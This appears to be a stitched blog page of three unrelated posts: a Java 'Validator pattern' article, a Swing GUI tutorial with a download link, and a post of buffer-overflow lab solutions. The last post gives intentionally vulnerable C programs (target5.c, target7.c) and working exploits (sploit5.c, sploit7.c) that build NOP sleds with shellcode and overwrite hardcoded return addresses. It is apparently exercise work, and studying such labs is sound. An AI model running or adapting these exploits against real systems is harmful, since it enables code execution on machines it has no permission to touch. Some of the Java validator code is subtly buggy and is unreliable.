The Validator Pattern
For my first contribution, I’ve decided to say something about the Validator pattern. Actually, I don’t know whetherthis is the official name for this design pattern, but I haven’t found any corresponding literature.
The first time I got in touch with the Validator pattern was When I worked on a big GWT project. There are a lot of different open implementations of this pattern available. However, I didn’t utilized one of them since they didn’t fit to my requirements. Though, I’ve got some inspiration by their provided API (e.g. http://gwt-vl.sourceforge.net/?to=clientDoc).
In my project, I had to implement a lot of client-side input validations which were all almost identical such as input must not be empty, input must be a number and so on. Or course, the reactions triggered by proper or inproper input were also not really different: If an the input is not valid, show an error message and higlight the affected input element. If everything is allright, send a request to the server side etc.
if(inputName.getText().isEmpty())
{
focus(inputName);
showErrorMsg("Input Field Name must not be empty!");
}
else
{
if(inputPort.getText().isEmpty())
{
focus(inputPort);
showErrorMsg("Input Field Port must not be empty!");
}
else if( ! isNumber(inputPort.getText()))
{
focus(inputPort);
showErrorMsg("Input Field Port must be a number!");
}
else
{
configureServer();
}
}
As you can see, the complexity even for such simple validations can increase very fast. Keep in mind, that this is just the client-side validation which means that we also have to apply at least those funny validations one more time on the server-side. As you can see in the example above, some validations and their consequent actions are quite similiar. One way to reduce the complexity could be to write methods which handle this such as
public boolean check(TextField field)
{
if(field.getText().isEmpty())
{
focus(field);
showErrorMsg("Input Field " + field.getName() + " must not be empty");
return false;
}
return true;
}
So what do we do, if some fields need a special treatment? Right! We write another method handling them:
public void performSpecialCheck(TextField field)
{
if(field.getText().isEmpty())
{
focus(field);
showErrorMsg("Input Field " + field.getName() + " must not be empty");
disableAllOtherFields();
return false;
}
return true;
}
As may have noticed, there will be more than one “special treatment”. Another point is to write such methods with sequences of validations together with their drawbacks mentioned above:
public boolean checkNumberFields()
{
if(inputPort.getText().isEmpty())
{
focus(inputPort);
showErrorMsg("Input Field Port must not be empty!");
return false;
}
else if( ! isNumber(inputPort.getText()))
{
focus(inputPort);
showErrorMsg("Input Field Port must be a number!");
return false;
}
return true;
}
Now, let’s have a look at the Validator pattern approach:
//-- Validatation preparations
IValidator emptyNameValidator = new EmptyFieldValidator(inputName);
IValidator emptyPortValidator = new EmptyFieldValidator(inputPort);
IValidator numberPortValidator = new NumberFieldValidator(inputPort);
//-- Set up the actions which shall be performed, if the validation is not successful
emptyNameValidator.addActionForFailure(new ErrorMsgAction(inputName));
emptyNameValidator.addActionForFailure(new FocusAction(inputName));
emptyPortValidator .addActionForFailure(new FocusAction(inputPort));
emptyPortValidator .addActionForFailure(new ErrorMsgAction(inputPort));
numberPortValidator.addActionForFailure(new FocusAction(inputPort));
numberPortValidator.addActionForFailure(new ErrorMsgAction(inputPort));
/*
* Chain the set up validators. The validations are executed in the
* specified order. If one of the validations within the chain fails,
* the entire validation stops and the corresponding error actions
* of the affected validation are performed as well as the failure
* action of the chain itself. Analogously, successful validations
* are handled.
*/
ValidatorChain entireValidationChain = new ValidatorChain();
entireValidationChain.addValidator(emptyNameValidator);
entireValidationChain.addValidator(emptyPortValidator);
entireValidationChain.addValidator(numberPortValidator);
entireValidationChain.addActionForSuccess(new IValidatorAction()
{
public void performAction()
{
configureServer();
}
});
//-- Prepared Validation in action
boolean success = entireValidationChain.validate();
OK, it’s a matter of taste whether this example is more or less complex than the previous one. I justed wanted to give you an idea how the pattern works basically. In my project, I created the validator instances within the constructors of the holding class using some helper methods or I utilized a customized validator (chain) (but this will be explained later). But, by all means, the entire validation has become more flexible as it was before. I will explain why, after we had a look on the pattern and its specification:
/**
* IValidator is responsible for one atomic validation task. The actual validation
* is performed with the method validate(). If the validation is successful, validate()
* returns true and all its success actions are performed according to the FIFO principle.
* Analogously, failing validations are handled.
*/
public interface IValidator
{
public boolean validate();
public void addActionForSuccess(IValidatorAction action);
public void addActionForFailure(IValidatorAction action);
public void removeActionForSuccess(IValidatorAction action);
public void removeActionForFailure(IValidatorAction action);
}
/**
* Chains multiple IValidator instance. Note that IValidatorChain extends
* the IValidator interface. When validate() is performed, the validate()
* method of all added validators performed (FIFO). If all validations have
* been successful, validate() returns true and registered success actions are
* performed. Otherwise, if one validation is not successful, the remaining
* validations are not performed, false is returned and the registered failure
* actions are performed.
*/
public interface IValidatorChain extends IValidator
{
public void addValidator(IValidator validator);
public void removeValidator(IValidator validator);
}
/**
* Represents an action which is performed by an IValidator for success
* or failure.
*/
public interface IValidatorAction
{
public void performAction();
}
/**
* Serves for chaining multiple IValidatorActions. This chain
* is usually used implementing customized actions.
*/
public interface IValidatorActionChain extends IValidatorAction
{
public void addValidatorAction(IValidatorAction action);
public void removeValidatorAction(IValidatorAction action);
}
As you can see, the Validator pattern is quite simple but provides high flexibility. Now, let’s have a look at the modified versions of our checker methods:
// reimplementation of method check(TextField field)
public IValidator createBasicValidator(TextField field)
{
IValidator validator = new EmptyFieldValidator(field);
validator.addActionForFailure(new ErrorMsgAction(field));
validator.addActionForFailure(new FocusAction(field));
return validator
}
// reimplementation of method checkNumberFields(TextField field)
public IValidator createValidatorForNumberFields(TextField field)
{
IValidator basicValidator = createBasicValidator(field);
IValidator numberValidator = new NumberFieldValidator(field);
numberValidator.addActionForFailure(new FocusAction(inputName));
numberValidator.addActionForFailure(new ErrorMsgAction(inputName));
IValidatorChain chain = new ValidatorChain();
chain.addValidator(basicValidator);
chain.addValidator(numberValidator);
return numberValidator;
}
If we consider createValidatorForNumberFields(), we can see how we can reuse a conditional statement and customize it which wasn’t possible with our ordinary checker methods. However, there is just place for optimization. For example, we can subsume the validator actions:
public IValidatorAction createBasicErrorAction(TextField field)
{
IActionChain chain = new ActionChain();
chain.addValidatorAction(new ErrorMsgAction(field));
chain.addValidatorAction(new FocusAction(field));
return chain;
}
IValidator validator = new EmptyFieldValidator(field);
validator.addActionForFailure(createBasicErrorAction(field));
One further example for emphasizing the flexibility is as follows:
public class MyValidator extends AValidator
{
private final IValidatorChain chain;
public MyValidator(TextField field)
{
IActionChain successActions = new MyStandandardSuccessActions(field);
IActionChain failureActions = new MyStandandardFailureActions(field);
IValidator emptyValidator = new EmptyFieldValidator(field);
emptyValidator.addActionForSuccess(successActions);
emptyValidator.addActionForFailure(failureActions);
IValidator numValidator = new NumberFieldValidator(field);
numValidator.addActionForSuccess(successActions);
numValidator.addActionForFailure(failureActions);
this.chain = new ValidatorChain();
this.chain.addValidator(emptyValidator);
this.chain.addValidator(numValidator);
IValidatorChain someOtherUsefulValidations = new SomeOtherUsefulValidationChain(text);
this.chain.addValidator(someOtherUsefulValidations);
this.chain.addActionForSuccess(new IValidatorAction()
{
// do something
});
}
public boolean performAction()
{
return this.chain.validate();
}
}
}
Conclusion
The Validator pattern provides a flexible way for reusing and customizing frequently used validations. However, one should take care of not overdoing this since the validations could get too nested and intransparent. However, due to the resulting overhead, one should just use them for GUI implementations. If the overhead is not relevant for the project, one could reuse some customized validators at the client as well as the server side which makes sense, if the server has to perform the same validations (and resulting actions) as the client does.
JAVA Programming: Working With Swing Library
Time for some JAVA action everyone. For today, let’s make an application interface that looks like this:
Step 1: Importing the library
To actually access the objects in the swing library, you have to import the swing library. So, start your JAVA file with:
import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.io.*;
Now, you have the access of swing objects and some additional object such as Listener object that will react on an event like mouse click or keyboard pressed.
Step 2: Constructing the class
Now, you have to choose the class name which will be the template of the application:
public class LibraryMDI implements ActionListener {
}
this class is named LibraryMDI and implements ActionListener. ActionListener is the event library that will provide you with the capability of listening to an event that user do in your application (in this case, we want the toolbar to react to a user’s mouse click). Now, you can save your work and name your class LibraryMDI.java.
Step 3: Constructing the frame
Just like any other application, the frame is a window to components in an application such as toolbar, menu, workspace, and any other else. To construct the frame, all you need to do is:
private JFrame frame;
public LibraryMDI() {
this.frame = new JFrame(“Library Information System”);
}
This will create a frame object that has a header title “Library Information System”.
Step 4: Arrange your frame for the components
Next, you will have to arrange your frame so that the components can be neatly placed in the frame. If you look at the picture, you will see that we need 4 space. The upper part where to put our toolbar icon, the middle part where the workspace will be placed, the right part where to put the logo image and memory monitor, and the bottom part to place the text “Library Information System — Created by Souza Nurafrianto IT5B”.
So, you have to define a panel and a layout for the panel to do this job. A panel is an invisible board which the components can be placed to it and layout is how the panel will arrange the components. So, define these components in your global variable:
private JPanel subMenu = new JPanel(); private BorderLayout subLayout = new BorderLayout();
We use BorderLayout as our layout because we only need to seperate four tiles in our panel (upper, middle, right, and bottom). BorderLayout does the job since it has up to 5 splitting tiles (north, west, center, east, and south). Consider the arrangement in the BorderLayout just like the compass: north for upper, west for right, etc. Now, you have to add four of the main components which will be placed in the subMenu panel (the toolbar, workspace, right panel, and bottom panel) as your global variable:
private JDesktopPane desktop = new JDesktopPane();
private JToolBar toolbar = new JToolBar(“Command Docker”, JToolBar.HORIZONTAL);
MessageBox box = new MessageBox(); // MessageBox class for right panel
private JPanel pMtitle = new JPanel();
Now, arrange these components into the your subMenu panel in your constructor class “public LibraryMDI()”:
subMenu.setLayout(subLayout); subMenu.add(toolbar, BorderLayout.NORTH); subMenu.add(this.desktop, BorderLayout.CENTER); subMenu.add(box, BorderLayout.EAST); subMenu.add(pMTitle, BorderLayout.SOUTH);
So, you have arranged these components into subMenu panel. Now, the subMenu panel has four components in it, toolbar which resides in the upper part, desktop which resides in the center (or right since WEST is not used), box which resides in the right, and pMTitle which resides in the bottom.
Step 5: Adding your toolbar some buttons
The toolbar that we just inserted in the subMenu panel still doesn’t have buttons, so let’s add a button. To define a button in swing you can use JButton:
private JButton btn1 = new JButton(new ImageIcon(getImage(“icon\\addItem.gif”)));
JButton can either receive ImageIcon or String. In this case, ImageIcon will put the button with a picture. You can also use a tool tip so that whenever you hover your mouse to the button, a text balloon will appear to describe what does the button do:
btn1.setToolTipText(“Order Resource”);
Next, put the button in the toolbar:
toolbar.add( btn1 );
Now, your toolbar has a button that can be pressed. However nothing will happen if you pressed it.
Step 6: Adding EventListener to the button
Now, you want the button to react if a user press on it, right? Remember that our LibraryMDI implements the ActionListener class? You can use the method to create a listener which will listen to any particular event done by the user. So, put the listener to the button:
btn1.addActionListener(this); btn1.setActionCommand(“Order Resource”);
“this” in this context means that the button will go to the ActionListener of this particular class (the LibraryMDI class). Therefore, you have to define a method called “actionPerformed (ActionEvent e)” to catch any event that user’s made (if you don’t use “this”, the event that happened will not be catched by the actionPerformed of the LibraryMDI class). So, fill your method with this:
actionPerformed (ActionEvent e) {
String command = e.getActionCommand();
if (command.equals(“Order Resource”)) {
System.out.println(“Order Resource was pressed”);
}
}
Remember that we have defined if btn1 was pressed it will send a string “Order Resource” to the actionPerformed method (since you set the btn1.setActionCommand to be “Order Resource”). So, whenever ActionEvent contains “Order Resource” string, it knows that btn1 has been pressed by the user. Thus, the system will print “Order Resource was pressed” string in the command prompt.
Step 7: Inserting image to the workspace
Well, you want your workspace to have a background, right? Instead of plain white, you want to add logo and stuff to the workspace. To do this, just right this simple code:
Image a = Toolkit.getDefaultToolkit().getImage(System.getProperty(“user.dir”) + “\\image\\icon\\brokeBuckWall.jpg”); this.desktop.setImage(a);
This will set the desktop with the image \image\icon\brockBuckWall.jpg.
Step 8: Putting it together to the frame
Now, your components are finished. Time to put it to the frame and show it to the world. Configure and place the subMenu panel to the frame:
this.frame.getContentPane().add(subMenu); this.frame.setSize(1000,660); this.frame.setResizable(false); this.frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); this.frame.show();
There you go your frame is done and ready for testing. Just do your usual “public void static main(String[] args)” and call on the object of LibraryMDI class.
Anyway, that was just a simple explanation how to do it. I’ll include the more sophisticated yet elegant way in the file that you can download below. Just execute the compile.bat to run the program.
File Name: Library Application (LISA)
File Size: 568 KB
Download: http://www.4shared.com/file/92343649/a1b6f2e5/LibraryApplication.html
Buffer Overflowing Target 7
target7.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void nstrcpy(char *out, int outl, char *in)
{
int i, len;
len = strlen(in);
if (len > outl)
len = outl;
for (i = 0; i <= len; i++)
out[i] = in[i];
}
void bar(char *arg)
{
char buf[300];
nstrcpy(buf, sizeof buf, arg);
}
void foo(char *argv[])
{
int *p;
int a = 0;
p = &a;
bar(argv[1]);
*p = a;
_exit(0);
/* not reached */
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target7: argc != 2\n");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
sploit7.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/tmp/target7"
int main(void)
{
char *args[3];
char *env[1];
int x = 300;
char buf[x];
int i;
for(i = 0; i < x+1; i++){
if(i<236-strlen(shellcode))
buf[i] = '\x90';
else if(i<236)
buf[i] = shellcode[i-236+strlen(shellcode)];
else if(i<292)
buf[i] = '\x90';
//for a
else if(i<293)
buf[i] = '\x0c';
else if(i<294)
buf[i] = '\xfc';
else if(i<295)
buf[i] = '\xff';
else if(i<296)
buf[i] = '\xbf';
//for p
else if(i<297)
buf[i] = '\x24';
else if(i<298)
buf[i] = '\x97';
else if(i<299)
buf[i] = '\x04';
else if(i<300)
buf[i] = '\x08';
else
buf[i] = '\x38';
}
args[0] = TARGET; args[1] = buf ; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
Buffer Overflowing Target 5
target5.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[], char *env[])
{
int j = 0;
size_t (*fp)(const char*) = &strlen;
int i = 0;
char buf[16];
if (argc != 2)
{
fprintf(stderr, "target5: argc != 2\n");
exit(EXIT_FAILURE);
}
if (env[0] != NULL)
{
fprintf(stderr, "target5: env[0] != NULL\n");
exit(EXIT_FAILURE);
}
strcpy(buf,argv[1]);
if (!i) {
j++;
(*fp)(buf);
} else {
exit(EXIT_FAILURE);
}
return 0;
}
sploit5.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/tmp/target5"
int main(void)
{
char *args[3];
char *env[2];
char buf[24];
char egg[strlen(shellcode) + 1];
int i = 0;
for(i = 0; i < 24; i++){
if(i < 20)
buf[i] = '\x90';
else if (i<21)
buf[i] = '\xa8';
else if (i<22)
buf[i] = '\xff';
else if (i<23)
buf[i] = '\xff';
else if(i<24)
buf[i] = '\xbf';
}
for(i = 0; i < (strlen(shellcode) + 1); i++){
if(i< (strlen(shellcode)))
egg[i] = shellcode[i];
else
egg[i] = '\x00';
}
args[0] = egg; args[1] = buf; args[2] = NULL;
env[0] = NULL;
if (0 > execve("/tmp/target5", args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}

Comments